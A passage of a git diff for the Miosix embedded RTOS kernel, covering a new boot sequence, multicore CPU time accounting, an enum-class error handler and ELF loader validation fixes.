Not using the fast version, as these may be used before the kernel is started + +namespace miosix { + +// This is in a class only such that it can be friends with GlobalIrqLock. +class LibAtomicQuickLock +{ +public: + static inline unsigned int lock() + { + return GlobalIrqLock::pushLock(); + } + + static inline void unlock(unsigned int token) + { + if(token==0) GlobalIrqLock::unlock(); + } +}; + +} + +extern "C" unsigned int libat_quick_lock_n(void *ptr) +{ + return miosix::LibAtomicQuickLock::lock(); +} + +extern "C" void libat_quick_unlock_n(void *ptr, unsigned int token) +{ + miosix::LibAtomicQuickLock::unlock(token); +} + +// These are to implement "heavy" atomic operations, which are not used in +// libstdc++. For now let's keep them disbaled. + +// extern "C" void libat_lock_n(void *ptr, size_t n) +// { +// miosix::pauseKernel(); +// } +// +// extern "C" void libat_unlock_n(void *ptr, size_t n) +// { +// miosix::restartKernel(); +// } diff --git a/miosix/stdlib_integration/libstdcpp_integration.h b/miosix/kercalls/libstdcpp_integration.h similarity index 96% rename from miosix/stdlib_integration/libstdcpp_integration.h rename to miosix/kercalls/libstdcpp_integration.h index df20b0648..b6fd46d04 100644 --- a/miosix/stdlib_integration/libstdcpp_integration.h +++ b/miosix/kercalls/libstdcpp_integration.h @@ -28,7 +28,7 @@ #ifndef LIBSTDCPP_INTEGRATION_H #define LIBSTDCPP_INTEGRATION_H -//Can't yet make this header private, as it's included by kernel.h +//Can't yet make this header private, as it's included by thread.h //#ifndef COMPILING_MIOSIX //#error "This is header is private, it can't be used outside Miosix itself." //#error "If your code depends on a private header, it IS broken." @@ -90,7 +90,7 @@ class CppReentrancyData */ ~CppReentrancyData() { - if(eh_globals.caughtExceptions!=0) errorHandler(UNEXPECTED); + if(eh_globals.caughtExceptions!=0) errorHandler(Error::UNEXPECTED); } private: diff --git a/miosix/kernel/IRQDisplayPrint.h b/miosix/kernel/IRQDisplayPrint.h index 1d5189487..ad9ccf23d 100644 --- a/miosix/kernel/IRQDisplayPrint.h +++ b/miosix/kernel/IRQDisplayPrint.h @@ -28,7 +28,7 @@ #include "../filesystem/devfs/devfs.h" #include "queue.h" #include -#include "kernel.h" +#include "thread.h" using namespace std; diff --git a/miosix/kernel/boot.cpp b/miosix/kernel/boot.cpp new file mode 100644 index 000000000..e45c2237c --- /dev/null +++ b/miosix/kernel/boot.cpp @@ -0,0 +1,201 @@ +/*************************************************************************** + * Copyright (C) 2008-2024 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include +#include +// Low level hardware functionalities +#include "interfaces/bsp.h" +#include "interfaces/poweroff.h" +#include "interfaces/cache.h" +#include "interfaces_private/bsp_private.h" +#include "interfaces_private/os_timer.h" +#include "interfaces_private/sleep.h" +#include "interfaces_private/mpu.h" +// Miosix kernel +#include "thread.h" +#include "filesystem/file_access.h" +#include "error.h" +#include "logging.h" +#include "pthread_private.h" +// settings for miosix +#include "miosix_settings.h" +#include "util/util.h" +#include "util/version.h" + +using namespace std; + +///<\internal Entry point for application code. +int main(int argc, char *argv[]); + +namespace miosix { + +///<\internal Provided by the startup code +void IRQinitIrqTable() noexcept; + +///<\internal Provided by thread.cpp +void IRQstartKernel(); + +/** + * \internal + * Calls C++ global constructors + * \param start first function pointer to call + * \param end one past the last function pointer to call + */ +static void callConstructors(unsigned long *start, unsigned long *end) +{ + for(unsigned long *i=start; i(*i); + funcptr(); + } +} + +void IRQkernelBootEntryPoint() +{ + #ifndef __NO_EXCEPTIONS + try { + #endif //__NO_EXCEPTIONS + + //These are defined in the linker script + extern unsigned char _etext asm("_etext"); + extern unsigned char _data asm("_data"); + extern unsigned char _edata asm("_edata"); + extern unsigned char _bss_start asm("_bss_start"); + extern unsigned char _bss_end asm("_bss_end"); + + //Initialize .data section, clear .bss section + unsigned char *etext=&_etext; + unsigned char *data=&_data; + unsigned char *edata=&_edata; + unsigned char *bss_start=&_bss_start; + unsigned char *bss_end=&_bss_end; + #ifndef __CODE_IN_XRAM + memcpy(data, etext, edata-data); + #else //__CODE_IN_XRAM + (void)etext; //Avoid unused variable warning + (void)data; + (void)edata; + #endif //__CODE_IN_XRAM + memset(bss_start, 0, bss_end-bss_start); + + //MPU is enabled as early as possible, compatibly with the fact that on + //some architectures IRQenableMPU needs to access global variables + IRQenableMPU(); + // Enable cache after the MPU since in Cortex-M CPUs the MPU driver + // also configures cacheability + IRQenableCache(); + + IRQinitIrqTable(); + + //Initialize kernel C++ global constructors (called before boot) + extern unsigned long __miosix_init_array_start asm("__miosix_init_array_start"); + extern unsigned long __miosix_init_array_end asm("__miosix_init_array_end"); + callConstructors(&__miosix_init_array_start, &__miosix_init_array_end); + + IRQbspInit(); + IRQosTimerInit(); + #ifdef WITH_DEEP_SLEEP + IRQdeepSleepInit(); + #endif // WITH_DEEP_SLEEP + //After IRQbspInit() serial port is initialized, so we can use IRQbootlog + IRQbootlog("Starting Kernel... "); + IRQstartKernel(); + #ifndef __NO_EXCEPTIONS + } catch(...) {} + #endif //__NO_EXCEPTIONS + //If for some reason IRQstartKernel() fails and returns or an exception is + //thrown, reboot + IRQsystemReboot(); +} + +void *mainLoader(void *argv) +{ + //If reaches here kernel is started, print Ok + bootlog("Ok\n%s\n",getMiosixVersion()); + + //Starting part of bsp that must be started after kernel + bspInit2(); + + //Initialize application C++ global constructors (called after boot) + extern unsigned long __preinit_array_start asm("__preinit_array_start"); + extern unsigned long __preinit_array_end asm("__preinit_array_end"); + extern unsigned long __init_array_start asm("__init_array_start"); + extern unsigned long __init_array_end asm("__init_array_end"); + extern unsigned long _ctor_start asm("_ctor_start"); + extern unsigned long _ctor_end asm("_ctor_end"); + + callConstructors(&__preinit_array_start, &__preinit_array_end); + callConstructors(&__init_array_start, &__init_array_end); + callConstructors(&_ctor_start, &_ctor_end); + + bootlog("OS Timer freq = %d Hz\n", osTimerGetFrequency()); + #ifdef __ENABLE_XRAM + extern unsigned char _xram_start asm("_xram_start"); + extern unsigned char _xram_size asm("_xram_size"); + const unsigned char *xramBase=&_xram_start; + //NOTE: volatile is important, otherwise compiler for some reason assumes + //_xram_size can't be nullptr, so xramSize cannot be 0 + volatile unsigned int xramSize=reinterpret_cast(&_xram_size); + bootlog("XRAM @ %p, size %u\n",xramBase,xramSize); + #endif //__ENABLE_XRAM + #ifdef WITH_PROCESSES + extern unsigned char _process_pool_start asm("_process_pool_start"); + extern unsigned char _process_pool_end asm("_process_pool_end"); + const unsigned char *poolBase=&_process_pool_start; + unsigned int poolSize=(&_process_pool_end)-(&_process_pool_start); + if(poolSize) bootlog("Process pool @ %p, size %u\n",poolBase,poolSize); + else bootlog("Error: kernel compiled with processes but missing process pool\n"); + #endif //WITH_PROCESSES + bootlog("Available heap %d out of %d Bytes\n", + MemoryProfiling::getCurrentFreeHeap(), + MemoryProfiling::getHeapSize()); + + //Run application code + #ifdef __NO_EXCEPTIONS + main(0,nullptr); + #else //__NO_EXCEPTIONS + try { + main(0,nullptr); + #ifdef WITH_PTHREAD_EXIT + } catch(PthreadExitException&) { + errorLog("***Attempting to pthread_exit from main\n"); + #endif //WITH_PTHREAD_EXIT + } catch(std::exception& e) { + errorLog("***An exception propagated through main\n"); + errorLog("what():%s\n",e.what()); + } catch(...) { + errorLog("***An exception propagated through main\n"); + } + #endif //__NO_EXCEPTIONS + + //If main returns, shutdown + shutdown(); + return 0; +} + +} //namespace miosix diff --git a/miosix/kernel/boot.h b/miosix/kernel/boot.h new file mode 100644 index 000000000..e21dd5218 --- /dev/null +++ b/miosix/kernel/boot.h @@ -0,0 +1,97 @@ +/*************************************************************************** + * Copyright (C) 2013-2024 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#ifndef COMPILING_MIOSIX +#error "This is header is private, it can't be used outside Miosix itself." +#error "If your code depends on a private header, it IS broken." +#endif //COMPILING_MIOSIX + +namespace miosix { + +/** + * \internal + * Each architecture-specific boot code must call this function to start the + * Miosix boot process. + * + * Preconditions for calling this functions are that: + * - Interrupts are disabled. + * CPUs that boot with interrupts enabled require to disable interrupts first. + * - The CPU is running at the desired operating frequency. + * For architectures that include a PLL or other software-configurable clock + * option, it is assumed that the configuration occurred before this function + * is called. + * - The whole RAM memory as specified by the linker script is accessible. + * For boards that include an external (SRAM or SDRAM) memory that requires + * architecture-specific code to be made accessible, it is assumed that the + * configuration occurred before this function is called. + * For boards that require the FLASH memory wait states to be configured, + * it is assumed code to configure the FLASH wait states to a value + * appropriate for the CPU desired operating frequency was already executed + * before this function is called. + * + * This function initiates the Miosix boot as follows: + * - Global/static variables in .data and .bss are initialized. + * - The interrupt table is initialized by calling back IRQinitIrqTable() into + * the architecture-specific code. + * - Global C++ constructors of the kernel and device drivers are called. + * These are called early at boot as the kernel relies on them. + * - The first part of the architecture-specific bsp is run, IRQbspInit(). + * From this point it is assumed the console is available to print boot logs. + * - The OS timer is started. + * From this point, the kernel starts keeping track of time. + * - Interrupts are enabled and the first context switch is performed. + * - The second part of the architecture-specific bsp is run, bspInit2(). + * From this point if filesystem support is enabled, it is assumed the root + * filesystem is mounted. + * - Global C++ constructors of the kernelspace applications are called. + * These are called late at boot as they may require access to the filesystem + * and/or to functionalities that are available only after the kernel is + * started, such as creating threads or accessing blocking device drivers. + * - The kernelspace main() is called. + * If userspace support is enabled, it is the purpose of this user-supplied + * function to spawn userspace processes, e.g: /bin/init + * + * When the kernelspace main() function returs, the kernel performs a system + * shutdown. + * + * This function, kernelBootEntryPoint(), shall not return unless the boot fails + */ +void kernelBootEntryPoint(); + +/** + * \internal + * This function will perform the part of system initialization that must be + * done after the kernel is started. At the end, it will call main() + * It is an internal detail of how the kernel works, architecture-specific code + * doesn't need to interact with it.' + * \param argv ignored parameter + */ +void *mainLoader(void *argv); + +} //namespace miosix diff --git a/miosix/kernel/cpu_time_counter.cpp b/miosix/kernel/cpu_time_counter.cpp index 441d92382..aca0fe8f4 100644 --- a/miosix/kernel/cpu_time_counter.cpp +++ b/miosix/kernel/cpu_time_counter.cpp @@ -1,5 +1,5 @@ /*************************************************************************** - * Copyright (C) 2023 by Daniele Cattaneo * + * Copyright (C) 2023,2025 by Daniele Cattaneo * * * * This program is free software; you can redistribute it and/or modify * * it under the terms of the GNU General Public License as published by * @@ -26,46 +26,56 @@ ***************************************************************************/ #include "cpu_time_counter.h" -#include "kernel/kernel.h" +#include "kernel/thread.h" +#include "interfaces/cpu_const.h" #ifdef WITH_CPU_TIME_COUNTER -using namespace miosix; +namespace miosix { + +// Defined in thread.cpp, used to check if a thread is running +extern volatile Thread *runningThreads[CPU_NUM_CORES]; Thread *CPUTimeCounter::head = nullptr; Thread *CPUTimeCounter::tail = nullptr; -volatile unsigned int CPUTimeCounter::nThreads = 0; +unsigned int CPUTimeCounter::nThreads = 0; -long long CPUTimeCounter::getActiveThreadTime() +void CPUTimeCounter::iterator::IRQgetReadyThreadData(CPUTimeCounter::Data& res) { - long long curTime, usedTime, lastAct; + res.state=CPUTimeCounter::Data::READY; + for(unsigned char i=0; itimeCounterData.usedCpuTime; - lastAct = cur->timeCounterData.lastActivation; + if(runningThreads[i]==res.thread) + { + long long usedTime = cur->timeCounterData.usedCpuTime[i]; + long long lastAct = cur->timeCounterData.lastActivation; + res.usedCpuTime[i] = usedTime+(this->time-lastAct); + res.state=CPUTimeCounter::Data::RUNNING; + } else { + res.usedCpuTime[i] = cur->timeCounterData.usedCpuTime[i]; + } } - return usedTime + (curTime - lastAct); } -void CPUTimeCounter::PKremoveDeadThreads() +void CPUTimeCounter::removeDeadThreads() { - Thread *prev = nullptr; - Thread *cur = head; + Thread *prev=nullptr; + Thread *cur=head; while(cur) { if(cur->flags.isDeleted()) { - if(prev) prev->timeCounterData.next = cur->timeCounterData.next; - else head = cur->timeCounterData.next; + if(prev) prev->timeCounterData.next=cur->timeCounterData.next; + else head=cur->timeCounterData.next; nThreads--; } else { - prev = cur; + prev=cur; } - cur = cur->timeCounterData.next; + cur=cur->timeCounterData.next; } - tail = prev; + tail=prev; } +} // namespace miosix + #endif // WITH_CPU_TIME_COUNTER diff --git a/miosix/kernel/cpu_time_counter.h b/miosix/kernel/cpu_time_counter.h index ba3125790..c6c2d3473 100644 --- a/miosix/kernel/cpu_time_counter.h +++ b/miosix/kernel/cpu_time_counter.h @@ -1,5 +1,5 @@ /*************************************************************************** - * Copyright (C) 2023 by Daniele Cattaneo * + * Copyright (C) 2023,2025 by Daniele Cattaneo * * * * This program is free software; you can redistribute it and/or modify * * it under the terms of the GNU General Public License as published by * @@ -27,8 +27,9 @@ #pragma once -#include "kernel.h" +#include "thread.h" #include "cpu_time_counter_types.h" +#include "interfaces/cpu_const.h" #ifdef WITH_CPU_TIME_COUNTER @@ -44,7 +45,7 @@ namespace miosix { * much CPU time was used up to now by each thread in the system. * It is intended for debugging and evaluation purposes and is enabled only if * the symbol `WITH_CPU_TIME_COUNTER` has been defined in - * config/miosix_settings.h. + * miosix_settings.h. * * The implementation of this class collects this data by intercepting context * switch events. Due to the measurement method, some caveats apply to the data @@ -55,20 +56,18 @@ namespace miosix { * interrupted. * * Retrieving the time accounting data for all threads is performed through the - * iterator returned by PKbegin(). To prevent the thread list from changing - * because of a context switch, keep the kernel paused while you traverse the - * iterator. + * iterator returned by IRQbegin(). To prevent the thread list from changing + * because of a context switch, the iterator must be traversed while holding the + * global interrupt lock. * * To simplify post-processing, the list of thread data information accessible * through the iterator always satisfies the following properties: - * - There is at least one item in the list. - * - The first item corresponds to the idle thread. * - The threads are listed in creation order. * - The relative order in which the items are iterated is deterministic and * does not change even after a context switch. - * * These properties allow to compute the difference between two thread data - * lists collected at different times in O(max(n,m)) complexity. + * lists collected at different times in O(max(n,m)) complexity. Idle threads + * do not appear in the lists. * * \note This is a very low-level interface. For actual use, a more practical * alternative is miosix::CPUProfiler, which provides a top-like display of the @@ -82,10 +81,17 @@ class CPUTimeCounter */ struct Data { + enum { + NOT_READY=' ', + READY='r', + RUNNING='R' + }; /// The thread the data belongs to Thread *thread; - /// Cumulative amount of CPU time scheduled to the thread in ns - long long usedCpuTime = 0; + /// Amount of CPU time scheduled to the thread in ns for each core + long long usedCpuTime[CPU_NUM_CORES] = {0}; + /// Flags at the time the data was collected + char state=NOT_READY; }; /** @@ -108,16 +114,32 @@ class CPUTimeCounter inline Data operator*() { Data res; - res.thread = cur; - res.usedCpuTime = cur->timeCounterData.usedCpuTime; + res.thread=cur; + if(res.thread->flags.isReady()) + { + IRQgetReadyThreadData(res); + } else { + for(unsigned char i=0;itimeCounterData.usedCpuTime[i]; + } + } return res; } inline bool operator==(const iterator& rhs) { return cur==rhs.cur; } inline bool operator!=(const iterator& rhs) { return cur!=rhs.cur; } private: friend class CPUTimeCounter; + + /** + * \internal Helper function for handling computation of the amount of + * CPU run-time consumed up to now by a ready thread. + */ + void IRQgetReadyThreadData(Data& res); + Thread *cur; - iterator(Thread *cur) : cur(cur) {} + long long time; + iterator(Thread *cur, long long time) : cur(cur), time(time) {} }; /** @@ -133,57 +155,46 @@ class CPUTimeCounter /** * \returns the begin iterator for the thread data. + * \param time the current time. */ - static iterator PKbegin() + static iterator IRQbegin(long long time) { - return iterator(head); + return iterator(head, time); } /** * \returns the end iterator for the thread data. */ - static iterator PKend() + static iterator IRQend() { - return iterator(nullptr); + return iterator(nullptr, 0); } - /** - * \returns the amount of CPU run-time consumed up to now by the currently - * active thread. - */ - static long long getActiveThreadTime(); - private: - // The following methods are called from basic_scheduler to notify + // The following methods are called from the schedulers to notify // CPUTimeCounter of various events. template friend class basic_scheduler; + friend class PriorityScheduler; + friend class EDFScheduler; + friend class ControlScheduler; // CPUTimeCounter cannot be constructed CPUTimeCounter() = delete; - /** - * \internal - * Add the idle thread to the list of threads tracked by CPUTimeCounter. - * \param thread The idle thread. - */ - static inline void IRQaddIdleThread(Thread *thread) - { - thread->timeCounterData.next = head; - head = thread; - if(!tail) tail = thread; - nThreads++; - } - /** * \internal * Add an item to the list of threads tracked by CPUTimeCounter. * \param thread The thread to be added. */ - static inline void PKaddThread(Thread *thread) + static inline void IRQaddThread(Thread *thread) { - tail->timeCounterData.next = thread; - tail = thread; - if(!head) head = thread; + if(!head) + { + head=tail=thread; + } else { + tail->timeCounterData.next=thread; + tail=thread; + } nThreads++; } @@ -192,27 +203,27 @@ class CPUTimeCounter * Update the list of threads tracked by CPUTimeCounter to remove dead * threads. */ - static void PKremoveDeadThreads(); + static void removeDeadThreads(); + + /** + * Function to be called in the context switch code to profile threads + * \param prev previously running thread + * \param prev thread to be scheduled next + * \param t (approximate) current time, a time point taken somewhere during + * the context switch code + */ + static inline void IRQprofileContextSwitch(Thread *prev, Thread *next, + long long t, unsigned char coreId) + { + prev->timeCounterData.usedCpuTime[coreId]+=t-prev->timeCounterData.lastActivation; + next->timeCounterData.lastActivation=t; + } static Thread *head; ///< Head of the thread list static Thread *tail; ///< Tail of the thread list - static volatile unsigned int nThreads; ///< Number of threads in the list + static unsigned int nThreads; ///< Number of non-idle threads }; -/** - * Function to be called in the context switch code to profile threads - * \param prev time count struct of previously running thread - * \param prev time count struct of thread to be scheduled next - * \param t (approximate) current time, a time point taken somewhere during - * the context switch code - */ -static inline void IRQprofileContextSwitch(CPUTimeCounterPrivateThreadData& prev, - CPUTimeCounterPrivateThreadData& next, long long t) -{ - prev.usedCpuTime += t - prev.lastActivation; - next.lastActivation = t; -} - /** * \} */ diff --git a/miosix/kernel/cpu_time_counter_types.h b/miosix/kernel/cpu_time_counter_types.h index 89bfe1d89..c9dc01559 100644 --- a/miosix/kernel/cpu_time_counter_types.h +++ b/miosix/kernel/cpu_time_counter_types.h @@ -1,5 +1,5 @@ /*************************************************************************** - * Copyright (C) 2023 by Daniele Cattaneo * + * Copyright (C) 2023,2025 by Daniele Cattaneo * * * * This program is free software; you can redistribute it and/or modify * * it under the terms of the GNU General Public License as published by * @@ -27,7 +27,8 @@ #pragma once -#include "config/miosix_settings.h" +#include "miosix_settings.h" +#include "interfaces/cpu_const.h" #ifdef WITH_CPU_TIME_COUNTER @@ -44,7 +45,7 @@ struct CPUTimeCounterPrivateThreadData /// Timestamp of the last context change to this thread long long lastActivation = 0; /// Cumulative amount of CPU time used by this thread - long long usedCpuTime = 0; + long long usedCpuTime[CPU_NUM_CORES] = {0}; /// Next thread in the thread list used by CPUTimeCounter Thread *next = nullptr; }; diff --git a/miosix/kernel/elf_program.cpp b/miosix/kernel/elf_program.cpp index 278a44643..337bcb5b8 100644 --- a/miosix/kernel/elf_program.cpp +++ b/miosix/kernel/elf_program.cpp @@ -29,6 +29,7 @@ #include "process.h" #include "process_pool.h" #include "filesystem/file_access.h" +#include "interfaces/cpu_const.h" #include #include #include @@ -101,7 +102,7 @@ class ProgramCache int useCount; ///< Used for reference counting the cache entry }; - static FastMutex m; ///< Protect programs against concurrent accesses + static KernelMutex m; ///< Protect programs against concurrent accesses static list programs; ///< Cache entries }; @@ -137,7 +138,7 @@ int ProgramCache::load(const char *name, const unsigned int *& elf, //kind of inotify framework to invalidate the cache... struct stat s; if(file->fstat(&s)) return -EFAULT; - Lock l(m); + Lock l(m); //I know, lookup is O(n), but we need to index the cache by //when loading, and index it by pointer when unloading, while also caring //about code size. On top of that, we don't expect many loaded programs @@ -156,10 +157,7 @@ int ProgramCache::load(const char *name, const unsigned int *& elf, return 0; } //Not found, load program in cache - //Seek to the end to get file size, then seek back to the start - off_t fileSize=file->lseek(0,SEEK_END); - off_t error=file->lseek(0,SEEK_SET); - if(fileSize<0 || error!=0) return -EFAULT; + off_t fileSize=s.st_size; //File sizes can be 64 bit, but executable files can't if(fileSize & 0xffffffff00000000ull) return -ENOMEM; //Allocate a RAM block in the process pool @@ -186,7 +184,7 @@ int ProgramCache::load(const char *name, const unsigned int *& elf, void ProgramCache::unload(const unsigned int *elf) { - Lock l(m); + Lock l(m); for(auto it=begin(programs);it!=end(programs);++it) { if(it->elf!=elf) continue; @@ -202,7 +200,7 @@ void ProgramCache::unload(const unsigned int *elf) DBG("ProgramCache::unload(%p): bug: not in cache\n",elf); } -FastMutex ProgramCache::m; +KernelMutex ProgramCache::m; list ProgramCache::programs; // @@ -222,7 +220,7 @@ void ElfProgram::validateHeader() //Note: this code assumes a little endian elf and a little endian ARM CPU if(isUnaligned(getElfBase(),8)) { - DBG("Elf file load address alignment error"); + DBG("Elf file load address alignment error\n"); return; } if(sizee_ident,magic,EI_NIDENT)) { - DBG("Unrecognized format"); + DBG("Unrecognized format\n"); return; } if(ehdr->e_type!=ET_EXEC) return; if(ehdr->e_machine!=EM_ARM) { - DBG("Wrong CPU arch"); + DBG("Wrong CPU arch\n"); return; } if(ehdr->e_version!=EV_CURRENT) return; @@ -249,7 +247,7 @@ void ElfProgram::validateHeader() #if !defined(__FPU_USED) || __FPU_USED==0 if(ehdr->e_flags & EF_ARM_VFP_FLOAT) { - DBG("FPU required"); + DBG("FPU required\n"); return; } #endif @@ -299,12 +297,12 @@ void ElfProgram::validateHeader() case 64: if(isUnaligned(phdr->p_offset,phdr->p_align)) { - DBG("Alignment error"); + DBG("Alignment error\n"); return; } break; default: - DBG("Unsupported segment alignment"); + DBG("Unsupported segment alignment\n"); return; } @@ -315,7 +313,7 @@ void ElfProgram::validateHeader() if(!(phdr->p_flags & PF_R)) return; if((phdr->p_flags & PF_W) && (phdr->p_flags & PF_X)) { - DBG("File violates W^X"); + DBG("File violates W^X\n"); return; } if(phdr->p_flags & PF_X) @@ -335,7 +333,7 @@ void ElfProgram::validateHeader() MIN_PROCESS_STACK_SIZE; if(phdr->p_memsz>=maxSize) { - DBG("Data segment too big"); + DBG("Data segment too big\n"); return; } dataSegmentSize=phdr->p_memsz; @@ -355,6 +353,10 @@ void ElfProgram::validateHeader() } } if(codeSegmentPresent==false) return; //Can't not have code segment + // We could support programs without data segment but ProcessImage::load + // doesn't handle this case. Since libsyscalls causes a data segment to be + // present even with an empty main, we just reject programs with no data + if(dataSegmentPresent==false) return; // All checks passed setting error code to 0 ec=0; } @@ -390,7 +392,7 @@ bool ElfProgram::validateDynamicSegment(const Elf32_Phdr *dynamic, case DT_MX_ABI: if(dyn->d_un.d_val==DV_MX_ABI_V1) miosixTagFound=true; else { - DBG("Unknown/unsupported DT_MX_ABI"); + DBG("Unknown/unsupported DT_MX_ABI\n"); return false; } break; @@ -403,7 +405,7 @@ bool ElfProgram::validateDynamicSegment(const Elf32_Phdr *dynamic, case DT_RELA: case DT_RELASZ: case DT_RELAENT: - DBG("RELA relocations unsupported"); + DBG("RELA relocations unsupported\n"); return false; default: //Ignore other entries @@ -412,17 +414,17 @@ bool ElfProgram::validateDynamicSegment(const Elf32_Phdr *dynamic, } if(miosixTagFound==false) { - DBG("Not a Miosix executable"); + DBG("Not a Miosix executable\n"); return false; } if(stackSizeMAX_PROCESS_IMAGE_SIZE) { - DBG("Requested image size is too large"); + DBG("Requested image size is too large\n"); return false; } //NOTE: this check can only guarantee that statically data and stack fit @@ -436,7 +438,7 @@ bool ElfProgram::validateDynamicSegment(const Elf32_Phdr *dynamic, (dataSegmentSize>MAX_PROCESS_IMAGE_SIZE) || (dataSegmentSize+stackSize+WATERMARK_LEN>ramSize)) { - DBG("Invalid stack or RAM size"); + DBG("Invalid stack or RAM size\n"); return false; } @@ -453,7 +455,8 @@ bool ElfProgram::validateDynamicSegment(const Elf32_Phdr *dynamic, const int relSize=dtRelsz/sizeof(Elf32_Rel); for(int i=0;ir_info)) + unsigned int relType=ELF32_R_TYPE(rel->r_info); + switch(relType) { case R_ARM_NONE: break; @@ -463,7 +466,7 @@ bool ElfProgram::validateDynamicSegment(const Elf32_Phdr *dynamic, if(rel->r_offset & 0x3) return false; break; default: - DBG("Unexpected relocation type"); + DBG("Unexpected relocation %d type %d\n", i, relType); return false; } } @@ -534,6 +537,7 @@ void ProcessImage::load(const ElfProgram& program) case DT_MX_RAMSIZE: tie(image,size)=ProcessPool::instance() .allocate(dyn->d_un.d_val); + break; case DT_MX_STACKSIZE: mainStackSize=dyn->d_un.d_val; break; diff --git a/miosix/kernel/elf_program.h b/miosix/kernel/elf_program.h index 004dcfcee..21e940692 100644 --- a/miosix/kernel/elf_program.h +++ b/miosix/kernel/elf_program.h @@ -30,7 +30,7 @@ #include #include #include "elf_types.h" -#include "config/miosix_settings.h" +#include "miosix_settings.h" #ifdef WITH_PROCESSES diff --git a/miosix/kernel/error.cpp b/miosix/kernel/error.cpp index 173c32293..e4a2f1bec 100644 --- a/miosix/kernel/error.cpp +++ b/miosix/kernel/error.cpp @@ -1,5 +1,6 @@ /*************************************************************************** * Copyright (C) 2010 by Terraneo Federico * + * Copyright (C) 2025 by Daniele Cattaneo * * * * This program is free software; you can redistribute it and/or modify * * it under the terms of the GNU General Public License as published by * @@ -26,57 +27,56 @@ ***************************************************************************/ #include "error.h" -#include "kernel.h" -#include "interfaces/portability.h" -#include "interfaces/bsp.h" +#include "miosix_settings.h" +#include "lock.h" +#include "interfaces/poweroff.h" +#include "interfaces_private/smp.h" #include "logging.h" namespace miosix { void errorHandler(Error e) { - // Here we must be careful since this function can be called within an - // interrupt routine, and disabling interrupts within an interrupt - // routine must be avoided. - bool interrupts=areInterruptsEnabled(); - if(interrupts) disableInterrupts(); - - //Recoverable errors: None + // Disable interrupts + fastDisableIrq(); + #ifdef WITH_SMP + // On multicore try to make the other cores hang up. Do NOT take the GIL, + // as it could cause a deadlock if it is already taken by this core, or any + // other ones if they are waiting for some peripheral interrupt that will + // never happen. This is not strictly correct, of course, but this is an + // emergency situation anyway. + // The only real risk is corruption on the serial while logging. + IRQlockupOtherCores(); + #endif //Unrecoverable errors switch(e) { - - case OUT_OF_MEMORY: + case Error::UNEXPECTED: + IRQerrorLog("\r\n***Unexpected error\r\n"); + break; + case Error::OUT_OF_MEMORY: IRQerrorLog("\r\n***Out of memory\r\n"); break; - case STACK_OVERFLOW: + case Error::STACK_OVERFLOW: IRQerrorLog("\r\n***Stack overflow\r\n"); break; - case UNEXPECTED: - IRQerrorLog("\r\n***Unexpected error\r\n"); - break; - case PAUSE_KERNEL_NESTING: - IRQerrorLog("\r\n***Pause kernel nesting\r\n"); + case Error::MUTEX_ERROR: + IRQerrorLog("\r\n***Mutex error\r\n"); break; - case DISABLE_INTERRUPTS_NESTING: - IRQerrorLog("\r\n***Disable interrupt nesting\r\n"); - break; - case MUTEX_DEADLOCK: - IRQerrorLog("\r\n***Deadlock\r\n"); + case Error::INTERRUPTS_ENABLED_AT_BOOT: + IRQerrorLog("\r\n***Interrupts enabled at boot\r\n"); break; - case NESTING_OVERFLOW: - IRQerrorLog("\r\n***Nesting overflow\r\n"); + case Error::KERNEL_ALREADY_STARTED_AT_BOOT: + IRQerrorLog("\r\n***Kernel already started at boot\r\n"); break; - case INTERRUPTS_ENABLED_AT_BOOT: - IRQerrorLog("\r\n***Interrupts enabled at boot\r\n"); + case Error::INTERRUPT_REGISTRATION_ERROR: + IRQerrorLog("\r\n***Interrupt registration error\r\n"); break; default: break; } - miosix_private::IRQsystemReboot(); - - //if(interrupts) enableInterrupts(); // Not needed since no recoverable errors + IRQsystemReboot(); } } //namespace miosix diff --git a/miosix/kernel/error.h b/miosix/kernel/error.h index 2273e78c6..ce549359b 100644 --- a/miosix/kernel/error.h +++ b/miosix/kernel/error.h @@ -1,5 +1,5 @@ /*************************************************************************** - * Copyright (C) 2010 by Terraneo Federico * + * Copyright (C) 2010-2025 by Terraneo Federico * * * * This program is free software; you can redistribute it and/or modify * * it under the terms of the GNU General Public License as published by * @@ -25,58 +25,47 @@ * along with this program; if not, see * ***************************************************************************/ -#ifndef ERROR_H -#define ERROR_H +#pragma once namespace miosix { /** * \enum Error - * This enum will be passed as argument to the error handler.
- * If the error is marked UNRECOVERABLE, then the error handler will not return. + * This enum is passed as argument to the error handler */ -enum Error +enum class Error { - /// The heap is full, malloc/new returned NULL.
Error is UNRECOVERABLE + /// Unexpected error occurred + UNEXPECTED, + + /// The heap is full, malloc/new returned NULL OUT_OF_MEMORY, - /// The stack of a thread overflowed.
Error is UNRECOVERABLE + /// The stack of a thread overflowed STACK_OVERFLOW, - /// Unexpected error occurred.
Error is UNRECOVERABLE - UNEXPECTED, - - /// A call to restartKernel that does not match a previous call - /// to pauseKernel
Error is UNRECOVERABLE - PAUSE_KERNEL_NESTING, - - /// A call to enableInterrupts that does not match a previous call - /// to disableInterrupts
